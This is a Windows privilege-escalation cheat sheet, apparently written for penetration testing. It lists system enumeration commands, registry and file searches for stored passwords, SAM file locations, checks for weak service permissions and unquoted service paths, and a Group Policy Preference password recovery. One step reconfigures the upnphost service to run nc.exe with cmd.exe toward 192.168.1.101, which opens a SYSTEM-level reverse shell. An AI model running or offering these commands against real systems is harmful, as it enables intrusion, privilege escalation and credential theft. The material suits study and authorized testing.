



# • Tips for gaining Windows Privileges

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## ► Basic Enumeration of the System

*Before looking for privilege escalation try and understand a bit about the machine. Identify which users have privileges, what patches/hotfixes the system has etc.*

### # Basics

```
systeminfo  
hostname
```

### # Who am I?

```
whoami  
echo %username%
```

### # What users/localgroups are on the machine?

```
net users  
net localgroups
```

### # More info about a specific user.

Check if user has privileges.

```
net user <user1>
```

### # View Members of Domain Group

```
net group /domain <Group Name>
```

### # How well patched is the system?

```
wmic qfe get Caption,Description,  
HotFixID,InstalledOn
```

### # Network

```
ipconfig /all  
route print  
arp -A
```

### # Firewall

```
netsh firewall show state  
netsh firewall show config
```

### # View Domain Groups

```
net group /domain
```

## ► Cleartext Passwords

*Look for passwords in registries, SAM files, or simply search for them*

# VNC

```
reg query "HKCU\Software\ORL\WinVNC3>Password"
```

# Windows autologin

```
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
```

# SNMP Parameters

```
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
```

# PuTTY

```
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
```

# Search for password in registry

```
reg query HKLM /f password /t REG_SZ /s
```

```
reg query HKCU /f password /t REG_SZ /s
```

## ► Cleartext Passwords

*Look for passwords in registries, SAM files, or simply search for them*

# Can we find any SAM files?

```
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
```

#Search for them

```
findstr /si password *.txt
findstr /si password *.xml
findstr /si password *.ini
```

#Find all those strings in config files.

```
dir /s *pass* == *cred* == *vnc* == *.config*
```

# Find all passwords in all files.

```
findstr /spin "password" *.*
findstr /spin "password" *.*
```

## ► Kernel exploits

# Identify the hotfixes/patches

`systeminfo`

# or

`wmic qfe get Caption,Description,HotFixID,InstalledOn`

## ► Change the upnp service binary

```
$ sc config upnphost binpath= "C:\Inetpub\nc.exe 192.168.1.101 6666 -e  
c:\Windows\system32\cmd.exe"
```

```
$ sc config upnphost obj= ".\LocalSystem" password= ""
```

```
$ sc config upnphost depend= ""
```

## ► Vulnerable Drivers

*Some driver might be vulnerable. So check them for known exploits.*

# List all drivers

`driverquery`



## ► Weak Service Permissions

*If you find a service that has write permissions set to everyone you can change that binary into your custom binary and make it execute in the privileged context.*

# Check service config can be modify or not

```
accesschk.exe /accepteula
```

```
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
```

```
accesschk.exe -ucqv <Service Name>
```

```
sc qc <Service Name> -- Get service details
```

## ► Unquoted Service Paths

# Find Services With Unquoted Paths & Look for Binary\_path\_name and see if it is unquoted.

# Using WMIC

```
wmic service get name,displayname,pathname,startmode | findstr /i "auto"
```

```
| findstr /i /v "c:\windows\\" | findstr /i /v ""
```

# Using sc

```
sc query
```

```
sc qc <service name>
```

## ► Group Policy Preference

*If the machine belongs to a domain and your user has access to “System Volume Information” there might be some sensitive files there.*

*First try to map/mount that drive. In order to do that identify the IP-address of the domain controller, also look in the environment-variables.*

# Output environment-variables

`set`

# Look for the following:

`LOGONSERVER=\\NAMEOFSERVER  
USERDNSDOMAIN=SOMETHING.LOCAL`

# Look up ip-address

`nslookup nameofserver.something.local`

# Now mount it

`net use z: \\192.168.1.101\SYSVOL`

# And enter it

`z:`

# Now search for the groups.xml file

`dir Groups.xml /s`

# If a file with passwords is found, it can be decrypted in Kali like so:

`$ gpp-decrypt encryptedpassword`

`$ Services\Services.xml: Element-Specific  
Attributes`

`$ ScheduledTasks\ScheduledTasks.xml:  
Task Inner Element, TaskV2 Inner Element,  
ImmediateTaskV2 Inner Element`

`$ Printers\Printers.xml: SharedPrinter Element`

`$ Drives\Drives.xml: Element-Specific Attributes`

`$ DataSources\DataSources.xml:  
Element-Specific Attributes`